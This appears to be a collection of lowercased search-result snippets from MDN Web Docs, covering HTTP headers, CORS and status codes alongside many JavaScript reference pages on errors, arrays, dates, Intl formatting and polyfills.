... examples want-digest: sha-256 want-digest: sha-512;q=0.3, sha-256;q=1, md5;q=0 basic operation the sender provides a list of digests which it is prepared to accept, and the server uses one of them: request: get /item want-digest: sha-256;q=0.3, sha;q=1 response: http/1.1 200 ok digest: sha-256=x48e9qookqqrvdts8nojrjn3owduoywxbf7kbu9dbpe= unsupported digests the server does not support any of the requested digest algorithms, so uses a different algorithm: request: get /item want-digest: sha;q=1 response: http/1.1 200 ok digest: sha-256=x48e9qookqqrvdts8nojrjn3owduoywxbf7kbu9dbpe= the server does not support any of the requested digest algorithms, so responds with a 400 error and includes another want-diges...
OPTIONS - HTTP
WebHTTPMethodsOPTIONS
request has body no successful response has body yes safe yes idempotent yes cacheable no allowed in html forms no syntax options /index.html http/1.1 options * http/1.1 examples identifying allowed request methods to find out which request methods a server supports, one can use the curl command-line program to issue an options request: curl -x options https://example.org -i the response then contains an allow header that holds the allowed methods: http/1.1 204 no content allow: options, get, head, post cache-control: ma...
... access-control-max-age the above permissions may be cached for 86,400 seconds (1 day).
... http/1.1 204 no content date: mon, 01 dec 2008 01:15:39 gmt server: apache/2.0.61 (unix) access-control-allow-origin: https://foo.example access-control-allow-methods: post, get, options access-control-allow-headers: x-pingother, content-type access-control-max-age: 86400 vary: accept-encoding, origin keep-alive: timeout=2, max=100 connection: keep-alive specifications specification title rfc 7231, section 4.3.7: options hypertext transfer protocol (http/1.1): semantics and content ...
HTTP resources and specifications - HTTP
and routing proposed standard rfc 7231 hypertext transfer protocol (http/1.1): semantics and content proposed standard rfc 7232 hypertext transfer protocol (http/1.1): conditional requests proposed standard rfc 7233 hypertext transfer protocol (http/1.1): range requests proposed standard rfc 7234 hypertext transfer protocol (http/1.1): caching proposed standard rfc 5861 http cache-control extensions for stale content informational rfc 8246 http immutable responses proposed standard rfc 7235 hypertext transfer protocol (http/1.1): authentication proposed standard rfc 6265 http state management mechanism defines cookies proposed standard draft spec cookie p...
...aft rfc 2145 use and interpretation of http version numbers informational rfc 6585 additional http status codes proposed standard rfc 7538 the hypertext transfer protocol status code 308 (permanent redirect) proposed standard rfc 7725 an http status code to report legal obstacles on the standard track rfc 2397 the "data" url scheme proposed standard rfc 3986 uniform resource identifier (uri): generic syntax internet standard rfc 5988 web linking defines the link header proposed standard experimental spec hypertext transfer protocol (http) keep-alive header informational (expired) draft spec http client hints ietf draft rfc 7578 returning value...
... proposed standard rfc 6454 the web origin concept proposed standard fetchthe definition of 'cors' in that specification.
307 Temporary Redirect - HTTP
WebHTTPStatus307
in the cases where you want the method used to be changed to get, use 303 see other instead.
... the only difference between 307 and 302 is that 307 guarantees that the method and the body will not be changed when the redirected request is made.
... with 302, some old clients were incorrectly changing the method to get: the behavior with non-get methods and 302 is then unpredictable on the web, whereas the behavior with 307 is predictable.
constructor - JavaScript
ed class, the default constructor calls the parent constructor, passing along any arguments that were provided: constructor(...args) { super(...args); } that enables code like this to work: class validationerror extends error { printcustomermessage() { return `validation failed :-( (details: ${this.message})`; } } try { throw new validationerror("not a valid phone number"); } catch (error) { if (error instanceof validationerror) { console.log(error.name); // this is error instead of validationerror!
...for example: class validationerror extends error { constructor(message) { super(message); // call parent class constructor this.name = 'validationerror'; this.code = '42'; } printcustomermessage() { return `validation failed :-( (details: ${this.message}, code: ${this.code})`; } } try { throw new validationerror("not a valid phone number"); } catch (error) { if (error instanceof validationerror) { console.log(error.name); // now this is validationerror!
... this.name = 'square'; } get area() { return this.height * this.width; } set area(value) { this.height = value**0.5; this.width = value**0.5; } } another example here the prototype of square class is changed—but the constructor of its base class polygon is still called when a new instance of a square is created.
Warning: String.x is deprecated; use String.prototype.x instead - JavaScript
message warning: string.charat is deprecated; use string.prototype.charat instead warning: string.charcodeat is deprecated; use string.prototype.charcodeat instead warning: string.concat is deprecated; use string.prototype.concat instead warning: string.contains is deprecated; use string.prototype.contains instead warning: string.endswith is deprecated; use string.prototype.endswith instead warning: string.includes is deprecated; use string.prototype.includes instead warning: string.indexof is deprecated; use string.prototype.
...indexof instead warning: string.lastindexof is deprecated; use string.prototype.lastindexof instead warning: string.localecompare is deprecated; use string.prototype.localecompare instead warning: string.match is deprecated; use string.prototype.match instead warning: string.normalize is deprecated; use string.prototype.normalize instead warning: string.replace is deprecated; use string.prototype.replace instead warning: string.search is deprecated; use string.prototype.search instead warning: string.slice is deprecated; use string.prototype.slice instead warning: string.split is deprecated; use string.prototype.split instead warning:...
...vailable) (function() { 'use strict'; var i, // we could also build the array of methods with the following, but the // getownpropertynames() method is non-shimable: // object.getownpropertynames(string).filter(function(methodname) { // return typeof string[methodname] === 'function'; // }); methods = [ 'contains', 'substring', 'tolowercase', 'touppercase', 'charat', 'charcodeat', 'indexof', 'lastindexof', 'startswith', 'endswith', 'trim', 'trimleft', 'trimright', 'tolocalelowercase', 'normalize', 'tolocaleuppercase', 'localecompare', 'match', 'search', 'slice', 'replace', 'split', 'substr', 'concat', 'localecompare' ], methodcount = methods.length, assignstringgeneric = function(methodname) { var method = strin...
Warning: Date.prototype.toLocaleFormat is deprecated - JavaScript
märz 2017" alternative standard syntax using the ecmascript intl api the ecma-402 (ecmascript intl api) standard specifies standard objects and methods that enable language sensitive date and time formatting (available in chrome 24+, firefox 29+, ie11+, safari10+).
...märz 2017" or, you can make use of the intl.datetimeformat object, which allows you to cache an object with most of the computations done so that formatting is fast.
... var options = { weekday: 'long', year: 'numeric', month: 'long', day: 'numeric' }; var dateformatter = new intl.datetimeformat('de-de', options) var dates = [date.utc(2012, 11, 20, 3, 0, 0), date.utc(2014, 04, 12, 8, 0, 0)]; dates.foreach(date => console.log(dateformatter.format(date))); // "donnerstag, 20.
SyntaxError: identifier starts immediately after numeric literal - JavaScript
message syntaxerror: unexpected identifier after numeric literal (edge) syntaxerror: identifier starts immediately after numeric literal (firefox) syntaxerror: unexpected number (chrome) error type syntaxerror what went wrong?
... the names of variables, called identifiers, conform to certain rules, which your code must adhere to!
...only subsequent characters can be digits (0-9).
SyntaxError: missing variable name - JavaScript
check for typos!
... message syntaxerror: missing variable name (firefox) syntaxerror: unexpected token = (chrome) error type syntaxerror what went wrong?
... check to ensure the previous lines / declaration does not end with a comma instead of a semi-colon.
TypeError: can't delete non-configurable array element - JavaScript
message typeerror: can't delete non-configurable array element (firefox) typeerror: cannot delete property '2' of [object array] (chrome) error type typeerror what went wrong?
...when shortening an array, the elements beyond the new array length will be deleted, which failed in this situation.
... the configurable attribute controls whether the property can be deleted from the object and whether its attributes (other than writable) can be changed.
Error: Permission denied to access property "x" - JavaScript
the javascript exception "permission denied to access property" occurs when there was an attempt to access an object for which you have no permission.
... there was attempt to access an object for which you have no permission.
... this is likely an <iframe> element loaded from a different domain for which you violated the same-origin policy.
TypeError: Reduce of empty array with no initial value - JavaScript
these functions optionally take an initialvalue (which will be used as the first argument to the first call of the callback).
... examples invalid cases this problem appears frequently when combined with a filter (array.prototype.filter(), typedarray.prototype.filter()) which will remove all elements of the list.
... one way is to actually provide an initialvalue as the neutral element of the operator, such as 0 for the addition, 1 for a multiplication, or an empty string for a concatenation.
ReferenceError: assignment to undeclared variable "x" - JavaScript
message referenceerror: assignment to undeclared variable "x" (firefox) referenceerror: "x" is not defined (chrome) referenceerror: variable undefined in strict mode (edge) error type referenceerror warning in strict mode only.
...there are some differences between declared and undeclared variables, which might lead to unexpected results and that's why javascript presents an error in strict mode.
... three things to note about declared and undeclared variables: declared variables are constrained in the execution context in which they are declared.
TypeError: invalid 'instanceof' operand 'x' - JavaScript
an object which has a prototype property and is callable.
... message typeerror: invalid 'instanceof' operand "x" (firefox) typeerror: "x" is not a function (firefox) typeerror: right-hand side of 'instanceof' is not an object (chrome) typeerror: right-hand side of 'instanceof' is not callable (chrome) error type typeerror what went wrong?
...an object which has a prototype property and is callable.
Rest parameters - JavaScript
which will cause all remaining (user supplied) arguments to be placed within a "standard" javascript array.
...formally defined in function expression), while the arguments object contains all arguments passed to the function; the arguments object is not a real array, while rest parameters are array instances, meaning methods like sort, map, foreach or pop can be applied on it directly; the arguments object has additional functionality specific to itself (like the callee property).
...each one of them is then multiplied by the first parameter, and the array is returned: function multiply(multiplier, ...theargs) { return theargs.map(element => { return multiplier * element }) } let arr = multiply(2, 1, 2, 3) console.log(arr) // [2, 4, 6] use with the arguments object array methods can be used on rest parameters, but not on the arguments object: function sortrestargs(.
setter - JavaScript
description in javascript, a setter can be used to execute a function whenever a specified property is attempted to be changed.
... note the following when working with the set syntax: it can have an identifier which is either a number or a string; it must have exactly one parameter (see incompatible es5 change: literal getter and setter functions must now have exactly zero or one arguments for more information); it must not appear in an object literal with another set or with a data entry for the same property.
... const o = {a: 0}; object.defineproperty(o, 'b', { set: function(x) { this.a = x / 2; } }); o.b = 10; // runs the setter, which assigns 10 / 2 (5) to the 'a' property console.log(o.a) // 5 using a computed property name const expr = 'foo'; const obj = { baz: 'bar', set [expr](v) { this.baz = v; } }; console.log(obj.baz); // "bar" obj.foo = 'baz'; // run the setter console.log(obj.baz); // "baz" specifications specification ecmascript (ecma-262)the definition of 'method definitions' ...
Array.isArray() - JavaScript
array.isarray([1, 2, 3]); // true array.isarray({foo: 123}); // false array.isarray('foobar'); // false array.isarray(undefined); // false syntax array.isarray(value) parameters value the value to be checked.
...e known fact: array.prototype itself is an array: array.isarray(array.prototype); // all following calls return false array.isarray(); array.isarray({}); array.isarray(null); array.isarray(undefined); array.isarray(17); array.isarray('array'); array.isarray(true); array.isarray(false); array.isarray(new uint8array(32)); array.isarray({ __proto__: array.prototype }); instanceof vs isarray when checking for array instance, array.isarray is preferred over instanceof because it works through iframes.
... var iframe = document.createelement('iframe'); document.body.appendchild(iframe); xarray = window.frames[window.frames.length-1].array; var arr = new xarray(1,2,3); // [1,2,3] // correctly checking for array array.isarray(arr); // true // considered harmful, because doesn't work through iframes arr instanceof array; // false specifications specification ecmascript (ecma-262)the definition of 'array.isarray' in that specification.
Array.prototype.shift() - JavaScript
this method changes the length of the array.
...objects which do not contain a length property reflecting the last in a series of consecutive, zero-based numerical properties may not behave in any meaningful manner.
...in the following example every iteration will remove the next element from an array, until it is empty: var names = ["andrew", "edward", "paul", "chris" ,"john"]; while( (i = names.shift()) !== undefined ) { console.log(i); } // andrew, edward, paul, chris, john specifications specification ecmascript (ecma-262)the definition of 'array.prototype.shift' in that specification.
Array.prototype.splice() - JavaScript
the splice() method changes the contents of an array by removing or replacing existing elements and/or adding new elements in place.
... syntax let arrdeleteditems = array.splice(start[, deletecount[, item1[, item2[, ...]]]]) parameters start the index at which to start changing the array.
... description if the specified number of elements to insert differs from the number of elements being removed, the array's length will be changed.
ArrayBuffer - JavaScript
it is an array of bytes, often referred to in other languages as a "byte array".you cannot directly manipulate the contents of an arraybuffer; instead, you create one of the typed array objects or a dataview object which represents the buffer in a specific format, and use that to read and write the contents of the buffer.
... static methods arraybuffer.isview(arg) returns true if arg is one of the arraybuffer views, such as typed array objects or a dataview.
...this is established when the array is constructed and cannot be changed.
Atomics.wait() - JavaScript
it returns a string which is either "ok", "not-equal", or "timed-out".
... return value a string which is either "ok", "not-equal", or "timed-out".
... examples using wait() given a shared int32array: const sab = new sharedarraybuffer(1024); const int32 = new int32array(sab); a reading thread is sleeping and waiting on location 0 which is expected to be 0.
BigInt64Array() constructor - JavaScript
the bigint64array() typed array constructor creates a new bigint64array object, which is, an array of 64-bit signed integers in the platform byte order.
... typedarray when called with a typedarray argument, which can be an object of any of the typed array types (such as int32array), the typedarray gets copied into a new typed array.
... each value in typedarray is converted to the corresponding type of the constructor before being copied into the new array.
BigUint64Array() constructor - JavaScript
the biguint64array() typed array constructor creates a new biguint64array object, which is, an array of 64-bit unsigned integers in the platform byte order.
... typedarray when called with a typedarray argument, which can be an object of any of the typed array types (such as int32array), the typedarray gets copied into a new typed array.
... each value in typedarray is converted to the corresponding type of the constructor before being copied into the new array.
DataView - JavaScript
description endianness multi-byte number formats are represented in memory differently depending on machine architecture — see endianness for an explanation.
...as a workaround, you could implement your own getuint64() function to obtain a value with precision up to number.max_safe_integer, which could suffice for certain cases.
...further, although native bigints are much faster than user-land library equivalents, bigints will always be much slower than 32-bit integers in javascript due to the nature of their variable size.
Date() constructor - JavaScript
if you simply call the date object directly, such as now = date(), the returned value is a string rather than a date object.
... time value or timestamp number value an integer value representing the number of milliseconds since january 1, 1970, 00:00:00 utc (the ecmascript epoch, equivalent to the unix epoch), with leap seconds ignored.
...(these formats are ietf-compliant rfc 2822 timestamps, and also strings in a version of iso8601.) note: parsing of date strings with the date constructor (and date.parse(), which works the same way) is strongly discouraged due to browser differences and inconsistencies.
Date.now() - JavaScript
syntax var timeinms = date.now(); return value a number representing the milliseconds elapsed since the unix epoch.
...engines which have not been updated to support this method can work around the absence of this method using the following shim: if (!date.now) { date.now = function now() { return new date().gettime(); }; } examples reduced time precision to offer protection against timing attacks and fingerprinting, the precision of date.now() might get rounded depending on browser settings.
... in firefox, you can also enable privacy.resistfingerprinting, the precision will be 100ms or the value of privacy.resistfingerprinting.reducetimerprecision.microseconds, whichever is larger.
Date.parse() - JavaScript
description the parse() method takes a date string (such as "2011-10-10t14:48:00") and returns the number of milliseconds since january 1, 1970, 00:00:00 utc.
... given a non-standard date string of "march 7, 2014", parse() assumes a local time zone, but given a simplification of the iso 8601 calendar date extended format such as "2014-03-07", it will assume a time zone of utc (es5 and ecmascript 2015).
...the first according to es5 will imply utc time, and the others are specifying utc timezone via the iso date specification (z and +00:00) date.parse("2019-01-01") date.parse("2019-01-01t00:00:00.000z") date.parse("2019-01-01t00:00:00.000+00:00") the following call, which does not specify a time zone will be set to 2019-01-01 at 00:00:00 in the local timezone of the system.
Date.prototype.toISOString() - JavaScript
the toisostring() method returns a string in simplified extended iso format (iso 8601), which is always 24 or 27 characters long (yyyy-mm-ddthh:mm:ss.sssz or ±yyyyyy-mm-ddthh:mm:ss.sssz, respectively).
...engines which have not been updated to support this method can work around the absence of this method using the following shim: if (!date.prototype.toisostring) { (function() { function pad(number) { if (number < 10) { return '0' + number; } return number; } date.prototype.toisostring = function() { return this.getutcfullyear() + '-' + pad(this.getutcmon...
...th() + 1) + '-' + pad(this.getutcdate()) + 't' + pad(this.getutchours()) + ':' + pad(this.getutcminutes()) + ':' + pad(this.getutcseconds()) + '.' + (this.getutcmilliseconds() / 1000).tofixed(3).slice(2, 5) + 'z'; }; })(); } examples using toisostring() let today = new date('05 october 2011 14:48 utc') console.log(today.toisostring()) // returns 2011-10-05t14:48:00.000z the above example uses parsing of a non–standard string value that may not be correctly parsed in non–mozilla browsers.
Date.prototype.toString() - JavaScript
date.prototype.tostring() returns a string representation of the date in the format specified in ecma-262 which can be summarised as: week day: 3 letter english week day name, e.g.
..."(" an implementation dependent string representation of the timezone, which might be an abbreviation or full name (there is no standard for names or abbreviations of timezones), e.g.
...console.log(new date()), or when a date is used in a string concatenation, such as var today = 'today is ' + new date().
Float32Array() constructor - JavaScript
the float32array() typed array constructor creates a new float32array object, which is, an array of 32-bit floating point numbers (corresponding to the c float data type) in the platform byte order.
... typedarray when called with a typedarray argument, which can be an object of any of the typed array types (such as int32array), the typedarray gets copied into a new typed array.
... each value in typedarray is converted to the corresponding type of the constructor before being copied into the new array.
Float64Array() constructor - JavaScript
the float64array() typed array constructor creates a new float64array object, which is, an array of 64-bit floating point numbers (corresponding to the c double data type) in the platform byte order.
... typedarray when called with a typedarray argument, which can be an object of any of the typed array types (such as int32array), the typedarray gets copied into a new typed array.
... each value in typedarray is converted to the corresponding type of the constructor before being copied into the new array.
Function.prototype.call() - JavaScript
examples using call to chain constructors for an object you can use call to chain constructors for an object (similar to java).
... function product(name, price) { this.name = name; this.price = price; } function food(name, price) { product.call(this, name, price); this.category = 'food'; } function toy(name, price) { product.call(this, name, price); this.category = 'toy'; } const cheese = new food('feta', 5); const fun = new toy('robot', 40); using call to invoke an anonymous function in this example, we create an anonymous function and use call to invoke it on every object in an array.
... the main purpose of the anonymous function here is to add a print function to every object, which is able to print the correct index of the object in the array.
Function - JavaScript
this can be seen with the code (function(){}).constructor === function, which returns true.
... function.prototype.bind(thisarg[, arg1[, arg2[, ...argn]]]) creates a new function which, when called, has its this set to the provided thisarg.
...when running them, they will only be able to access their own local variables and global ones, not the ones from the scope in which the function constructor was created.
InternalError - JavaScript
example cases are mostly when something is too large, e.g.: "too many switch cases", "too many parentheses in regular expression", "array initializer too large", "too much recursion".
... examples too much recursion this recursive function runs 10 times, as per the exit condition.
... function loop(x) { if (x >= 10) // "x >= 10" is the exit condition return; // do stuff loop(x + 1); // the recursive call } loop(0); setting this condition to an extremely high value, won't work: function loop(x) { if (x >= 1000000000000) return; // do stuff loop(x + 1); } loop(0); // internalerror: too much recursion for more information, see internalerror: too much recursion.
Intl.DateTimeFormat.prototype.format() - JavaScript
note that the function is bound to the intl.datetimeformat from which it was obtained, so it can be passed directly to array.prototype.map().
...however, this might change in the future and isn't guaranteed for all the languages — output variations are by design and allowed by the specification.
... most notably, the ie and edge browsers insert bidirectional control characters around dates, so the output text will flow properly when concatenated with other text.
Intl.DateTimeFormat - JavaScript
intl.datetimeformat.prototype.formatrangetoparts() this method receives two dates and returns an array of objects containing the locale-specific tokens representing each part of the formatted date range.
...g countries uses real arabic digits console.log(new intl.datetimeformat('ar-eg').format(date)); // → "١٩‏/١٢‏/٢٠١٢" // for japanese, applications may want to use the japanese calendar, // where 2012 was the year 24 of the heisei era console.log(new intl.datetimeformat('ja-jp-u-ca-japanese').format(date)); // → "24/12/19" // when requesting a language that may not be supported, such as // balinese, include a fallback language, in this case indonesian console.log(new intl.datetimeformat(['ban', 'id']).format(date)); // → "19/12/2012" using options the date and time formats can be customized using the options argument: var date = new date(date.utc(2012, 11, 20, 3, 0, 0, 200)); // request a weekday along with a long date var options = { weekday: 'long', year: 'numeric', ...
....datetimeformat('default', options).format(date)); // → "12/19/2012, 19:00:00" // sometimes it's helpful to include the period of the day options = {hour: "numeric", dayperiod: "short"}; console.log(new intl.datetimeformat('en-us', options).format(date)); // → 10 at night the used calendar and numbering formats can also be set independently via options arguments: var options = {calendar: 'chinese', numberingsystem: 'arab'}; var dateformat = new intl.datetimeformat('default', options); var usedoptions = dateformat.resolvedoptions(); console.log(usedoptions.calendar); // → "chinese" console.log(usedoptions.numberingsystem); // → "arab" console.log(usedoptions.timezone); // → "america/new_york" (the users default timezone) specifications specification e...
Intl​.List​Format​.prototype​.formatToParts() - JavaScript
return value an array of components which contains the formatted parts from the list.
... each element of the resulting array has two properties: type and value.
... the type property may be either "element", which refers to a value from the list, or "literal" which refers to a linguistic construct.
Intl.Locale.prototype.hourCycle - JavaScript
like other additional locale data, hour cycle type is an extension subtag, which extends the data contained in a locale string.
... the hour cycle type can have several different values, which are listed in the table below.
... let fr24hour = new intl.locale("fr-fr-u-hc-h23"); console.log(fr24hour.hourcycle); // prints "h23" adding an hour cycle via the configuration object argument the intl.locale constructor has an optional configuration object argument, which can contain any of several extension types, including hour cycle types.
Intl.Locale.prototype.script - JavaScript
the intl.locale.prototype.script property is an accessor property which returns the script used for writing the particular language used in the locale.
...in many cases, denoting a script is not strictly necessary, since the language (which is necessary) is only written in a single script.
... let scriptstr = new intl.locale("en-latn-us"); console.log(scriptstr.script); // prints "latn" setting the script via the configuration object the locale constructor takes a configuration object, which can be used to set the script subtag and property.
Intl.PluralRules() constructor - JavaScript
a string with a bcp 47 language tag, or an array of such strings.
...an object with some or all of the following properties: localematcher the locale matching algorithm to use.
... var pr = new intl.pluralrules(); pr.select(0); // → 'other' if in us english locale pr.select(1); // → 'one' if in us english locale pr.select(2); // → 'other' if in us english locale using options the results can be customized using the options argument, which has one property called type which you can set to ordinal.
Intl.RelativeTimeFormat() constructor - JavaScript
a string with a bcp 47 language tag, or an array of such strings.
...an object with some or all of the following properties: localematcher the locale matching algorithm to use.
...const rtf = new intl.relativetimeformat("en", { localematcher: "best fit", // other values: "lookup" numeric: "always", // other values: "auto" style: "long", // other values: "short" or "narrow" }); // format relative time using negative value (-1).
Intl.RelativeTimeFormat.prototype.formatToParts() - JavaScript
description the intl.relativetimeformat.prototype.formattoparts method is a version of the format method which it returns an array of objects which represent "parts" of the object, separating the formatted number into its consituent parts and separating it from other surrounding text.
... these objects have two properties: type a numberformat formattoparts type, and value, which is the string which is the component of the output.
... if a "part" came from numberformat, it will have a unit property which indicates the unit being formatted; literals which are part of the larger frame will not have this property.
JSON - JavaScript
digits exponentpart or decimalnumber exponentpart decimalnumber = 0 or onetonine digits exponentpart = e exponent or e exponent exponent = digits or + digits or - digits digits = digit or digits digit digit = 0 through 9 onetonine = 1 through 9 jsonstring = "" or " stringcharacters " stringcharacters = stringcharacter or stringcharacters stringcharacter stringcharacter = any character except " or \ or u+0000 through u+001f or escapesequence escapesequence = \" or \/ or \\ or \b or \f or \n or \r or \t or \u hexdigit hexdigit hexdigit hexdigit hexdigit = 0 through 9 or a through f or a thr...
...ough f jsonobject = { } or { members } members = jsonstring : json or members , jsonstring : json jsonarray = [ ] or [ arrayelements ] arrayelements = json or arrayelements , json insignificant whitespace may be present anywhere except within a jsonnumber (numbers must contain no whitespace) or jsonstring (where it is interpreted as the corresponding character in the string, or would cause an error).
... the tab character (u+0009), carriage return (u+000d), line feed (u+000a), and space (u+0020) characters are the only valid whitespace characters.
Math.cos() - JavaScript
the math.cos() static function returns the cosine of the specified angle, which must be specified in radians.
... syntax math.cos(x) parameters x the angle in radians for which to return the cosine.
... description the math.cos() method returns a numeric value between -1 and 1, which represents the cosine of the angle.
Math - JavaScript
even the same javascript engine on a different os or architecture can give different results!
... since humans tend to think in degrees, and some functions (such as css transforms) can accept degrees, it is a good idea to keep functions handy that convert between the two: function degtorad(degrees) { return degrees * (math.pi / 180); }; function radtodeg(rad) { return rad / (math.pi / 180); }; calculating the height of an equalateral triangle if we want to calculate the height of an equalateral triangle, and we know its side length is 100, we can ...
... returning a random integer between two bounds this can be achieved with a combination of math.random() and math.floor(): function random(min, max) { const num = math.floor(math.random() * (max - min + 1)) + min; return num; } random(1, 10); specifications specification ecmascript (ecma-262)the definition of 'math' in that specification.
Number.MAX_SAFE_INTEGER - JavaScript
for example, number.max_safe_integer + 1 === number.max_safe_integer + 2 will evaluate to true, which is mathematically incorrect.
...using it without checking its existence, such as math.max(number.max_safe_integer, 2), will yield undesired results such as nan.
... polyfill if (!number.max_safe_integer) { number.max_safe_integer = 9007199254740991; // math.pow(2, 53) - 1; } examples return value of max_safe_integer number.max_safe_integer; // 9007199254740991 numbers higher than safe integer this returns 2 because in floating points, the value is actually the decimal trailing "1" except for in subnormal precision cases such as zero.
Object.prototype.hasOwnProperty() - JavaScript
this method can be used to determine whether an object has the specified property as a direct property of that object; unlike the in operator, this method does not check for a property in the object's prototype chain.
... if an object is an array, hasownproperty method can check whether an index exists.
...inherited properties the following example differentiates between direct properties and properties inherited through the prototype chain: o = new object(); o.prop = 'exists'; o.hasownproperty('prop'); // returns true o.hasownproperty('tostring'); // returns false o.hasownproperty('hasownproperty'); // returns false iterating over the properties of an object the following example shows how to iterate over the properties of an object without executing on inherited properties.
Object.prototype.__proto__ - JavaScript
warning: changing the [[prototype]] of an object is, by the nature of how modern javascript engines optimize property accesses, a very slow operation, in every browser and javascript engine.
... the __proto__ property of object.prototype is an accessor property (a getter function and a setter function) that exposes the internal [[prototype]] (either an object or null) of the object through which it is accessed.
... to understand how prototypes are used for inheritance, see guide article inheritance and the prototype chain.
Promise.race() - JavaScript
syntax promise.race(iterable); parameters iterable an iterable object, such as an array.
... return value a pending promise that asynchronously yields the value of the first promise in the given iterable to fulfill or reject.
... examples asynchronicity of promise.race this following example demonstrates the asynchronicity of promise.race: // we are passing as argument an array of promises that are already resolved, // to trigger promise.race as soon as possible var resolvedpromisesarray = [promise.resolve(33), promise.resolve(44)]; var p = promise.race(resolvedpromisesarray); // immediately logging the value of p console.log(p); // ...
Reflect.defineProperty() - JavaScript
syntax reflect.defineproperty(target, propertykey, attributes) parameters target the target object on which to define the property.
...for more details, see the object.defineproperty which is similar.
... examples using reflect.defineproperty() let obj = {} reflect.defineproperty(obj, 'x', {value: 7}) // true obj.x // 7 checking if property definition has been successful with object.defineproperty, which returns an object if successful, or throws a typeerror otherwise, you would use a try...catch block to catch any error that occurred while defining a property.
RegExp.prototype[@@replace]() - JavaScript
the [@@replace]() method replaces some or all matches of a this pattern in a string by a replacement, and returns the result of the replacement as a new string.
... the replacement can be a string or a function to be called for each match.
... return value a new string with some or all matches of a pattern replaced by a replacement.
RegExp.prototype.global - JavaScript
the "g" flag indicates that the regular expression should be tested against all possible matches in a string.
... a regular expression defined as both global ("g") and sticky ("y") will ignore the global flag and perform sticky matches.
... you cannot change this property directly.
RegExp.input ($_) - JavaScript
the non-standard input property is a static property of regular expressions that contains the string against which a regular expression is matched.
... the value of the input property is modified whenever the searched string on the regular expression is changed and that string is matching.
... examples using input and $_ var re = /hi/g; re.test('hi there!'); regexp.input; // "hi there!" re.test('foo'); // new test, non-matching regexp.$_; // "hi there!" re.test('hi world!'); // new test, matching regexp.$_; // "hi world!" specifications specification legacy regexp features in javascript ...
Set.prototype.entries() - JavaScript
the entries() method returns a new iterator object that contains an array of [value, value] for each element in the set object, in insertion order.
...however, to keep the api similar to the map object, each entry has the same value for its key and value here, so that an array [value, value] is returned.
... syntax myset.entries() return value a new iterator object that contains an array of [value, value] for each element in the given set, in insertion order.
String.prototype.codePointAt() - JavaScript
return value a number representing the code point value of the character at the given pos.
...e.codepointat) { (function() { 'use strict'; // needed to support `apply`/`call` with `undefined`/`null` var defineproperty = (function() { // ie 8 only supports `object.defineproperty` on dom elements try { var object = {}; var $defineproperty = object.defineproperty; var result = $defineproperty(object, object, object) && $defineproperty; } catch(error) {} return result; }()); var codepointat = function(position) { if (this == null) { throw typeerror(); } var string = string(this); var size = string.length; // `tointeger` var index = position ?
... number(position) : 0; if (index != index) { // better `isnan` index = 0; } // account for out-of-bounds indices: if (index < 0 || index >= size) { return undefined; } // get the first code unit var first = string.charcodeat(index); var second; if ( // check if it’s the start of a surrogate pair first >= 0xd800 && first <= 0xdbff && // high surrogate size > index + 1 // there is a next code unit ) { second = string.charcodeat(index + 1); if (second >= 0xdc00 && second <= 0xdfff) { // low surrogate // https://mathiasbynens.be/notes/javascript-encoding#surrogate-formulae return (first - 0xd800) * 0x400 + second - 0xdc00 + 0x10000; } } return firs...
String length - JavaScript
utf-16, the string format used by javascript, uses a single 16-bit code unit to represent the most common characters, but needs to use two code units for less commonly-used characters, so it's possible for the value returned by length to not match the actual number of characters in the string.
... the static property string.length is unrelated to the length of strings, it's the arity of the string function (loosely, the number of formal parameters it has), which is 1.
... unicode since `length` counts code units instead of characters, if you want to get the number of characters you need something like this: function getcharacterlength (str) { // the string iterator that is used here iterates over characters, // not mere code units return [...str].length; } console.log(getcharacterlength('a\ud87e\udc04z')); // 3 // while not recommended, you could add this to each string as follows: object.defineproperty(string.prototype, 'charlength', { get () { return getcharacterlength(this); } }); console.log('a\ud87e\udc04z'.charlength); // 3 examples basic usage let x = 'mozilla'; let empty = ''; console.log(x + ' is ' + x.length + ' code units long'); /* "mozilla is 7 code units long" */ console.log('the empty string has a length of ' + empt...
String.prototype.repeat() - JavaScript
the repeat() method constructs and returns a new string which contains the specified number of copies of the string on which it was called, concatenated together.
... count = +count; // check nan if (count != count) count = 0; if (count < 0) throw new rangeerror('repeat count must be non-negative'); if (count == infinity) throw new rangeerror('repeat count must be less than infinity'); count = math.floor(count); if (str.length == 0 || count == 0) return ''; // ensuring count is a 31-bit integer allows us to heavily optimize the ...
...but anyway, most current (august 2014) browsers can't handle // strings 1 << 28 chars or longer, so: if (str.length * count >= 1 << 28) throw new rangeerror('repeat count must not overflow maximum string size'); var maxcount = str.length * count; count = math.floor(math.log(count) / math.log(2)); while (count) { str += str; count--; } str += str.substring(0, maxcount - str.length); return str; } } examples using repeat 'abc'.repeat(-1) // rangeerror 'abc'.repeat(0) // '' 'abc'.repeat(1) // 'abc' 'abc'.repeat(2) // 'abcabc' 'abc'.repeat(3.5) // 'abcabcabc' (count will be converted to integer) 'abc'.repeat(1/0) // rangeerror ({ tostring: () => 'abc', repeat: string.prototype.repeat }).repeat(2) // 'ab...
Symbol.iterator - JavaScript
description whenever an object needs to be iterated (such as at the beginning of a for..of loop), its @@iterator method is called with no arguments, and the returned iterator is used to obtain the values to be iterated.
... some built-in types have a default iteration behavior, while other types (such as object) do not.
...using it as such is likely to result in runtime exceptions or buggy behavior: var nonwellformediterable = {} nonwellformediterable[symbol.iterator] = () => 1 [...nonwellformediterable] // typeerror: [] is not a function specifications specification ecmascript (ecma-262)the definition of 'symbol.iterator' in that specification.
TypeError - JavaScript
a typeerror may be thrown when: an operand or argument passed to a function is incompatible with the type expected by that operator or function; or when attempting to modify a value that cannot be changed; or when attempting to use a value in an inappropriate way.
... examples catching a typeerror try { null.f() } catch (e) { console.log(e instanceof typeerror) // true console.log(e.message) // "null has no properties" console.log(e.name) // "typeerror" console.log(e.filename) // "scratchpad/1" console.log(e.linenumber) // 2 console.log(e.columnnumber) // 2 console.log(e.stack) ...
...// "@scratchpad/2:2:3\n" } creating a typeerror try { throw new typeerror('hello', "somefile.js", 10) } catch (e) { console.log(e instanceof typeerror) // true console.log(e.message) // "hello" console.log(e.name) // "typeerror" console.log(e.filename) // "somefile.js" console.log(e.linenumber) // 10 console.log(e.columnnumber) // 0 console.log(e.stack) // "@scratchpad/2:2:9\n" } specifications specification ecmascript (ecma-262)the definition of 'typeerror' in that specification.
TypedArray.BYTES_PER_ELEMENT - JavaScript
the typedarray.bytes_per_element property represents the size in bytes of each element in an typed array.
... property attributes of typedarray.bytes_per_element writable no enumerable no configurable no description typedarray objects differ from each other in the number of bytes per element and in the way the bytes are interpreted.
